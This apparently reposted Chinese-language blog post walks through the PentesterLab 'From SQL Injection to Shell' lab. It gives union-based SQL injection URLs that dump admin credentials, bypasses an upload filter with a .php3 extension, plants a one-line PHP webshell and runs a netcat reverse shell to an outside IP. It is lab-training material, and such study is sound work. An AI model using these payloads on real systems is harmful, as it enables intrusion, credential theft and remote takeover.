PentesterLab-From SQL Injection to Shell

一、打开靶机ip出现如下界面:

随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql注入。然后看其他链接,都差不多,直到点到Admin的链接时,出来一个后台。

二、SQL注入先行

既然有id=1,首先看下这个id是字符还是数字,后面加一个 ' 号,出现了Mysql的报错,确认是注入无疑,而且错误提示中只出现了一个 ' ,那看来是数字型了,下面就常规注入:

1、这种靶机一般不会有太多字段,手工从0开始order by一下,直到order by到4的时候报错了,那应该有三个字段

http://192.168.109.131/cat.php?id=2%20order%20by%203

2、开始看下注入点在第几个字段,发现出现在第二个字段

http://192.168.109.131/cat.php?id=2%20and%20select%201,2,3

3、那么就开始爆破库、表

http://192.168.109.131/cat.php?id=2%20union%20select%201,schema_name,3,4%20from%20information_schema.schemata%20limit%201,2

4、爆库过程中发现都是常见的mysql默认库,直到这里发现一个首页字样的库名,库名为photoblog,拿着这个库名看下都有什么表,找到一个users的表

http://192.168.109.131/cat.php?id=2%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67%20limit%203,4

5、然后看下字段,找到了login和password两个字段

http://192.168.109.131/cat.php?id=2%20union%20select%201,column_name,3,4%20from%20information_schema.columns%20where%20table_schema=0x70686f746f626c6f67%20and%20table_name=0x7573657273%20limit%202,3

6、查看这两个数据,得到用户名密码,md5破解后得到用户名密码:admin:P4ssw0rd

http://192.168.109.131/cat.php?id=2%20union%20select%201,login,3,4%20from%20photoblog.users%20limit%201,2
http://192.168.109.131/cat.php?id=2%20union%20select%201,password,3,4%20from%20photoblog.users%20limit%201,2

7、本来想着能通过注入直接getshell,发现当前用户没有权限,放弃这个思路

http://192.168.109.131/cat.php?id=2%20union%20select%201,%27%3C?php%20phpinfo();%3E%27,3,4%20into%20outfile%20%27/var/www/test.php%27

8、nmap跑了下端口,开了ssh服务,用这个账户登录了,发现进不去,看来系统密码没有被复用

9、回到页面首页,进入后台,输入用户名密码,成功进入后台

显示了很多图片,直接看到new字样,这里有个上传功能

10、随便上传一个php,报错了,提示 NO PHP,看来不能直接上传php,重新改了个后缀名,.php.jpg,上传成功,看来是只检测了后缀名,想到php引擎可以解析php1,php2,php3,这里直接试下php3,上传成功

#webshell脚本
<?php system($_GET['cmd']); ?>

11、通过该webshell执行nc反弹系统shell,完成该靶机任务

http://192.168.109.131/admin/uploads/function.php3?cmd=/bin/nc%2030.117.75.246%209999%20-e%20/bin/bash

请使用手机"扫一扫"x

猜你喜欢

转载自www.cnblogs.com/zlgxzswjy/p/9648561.html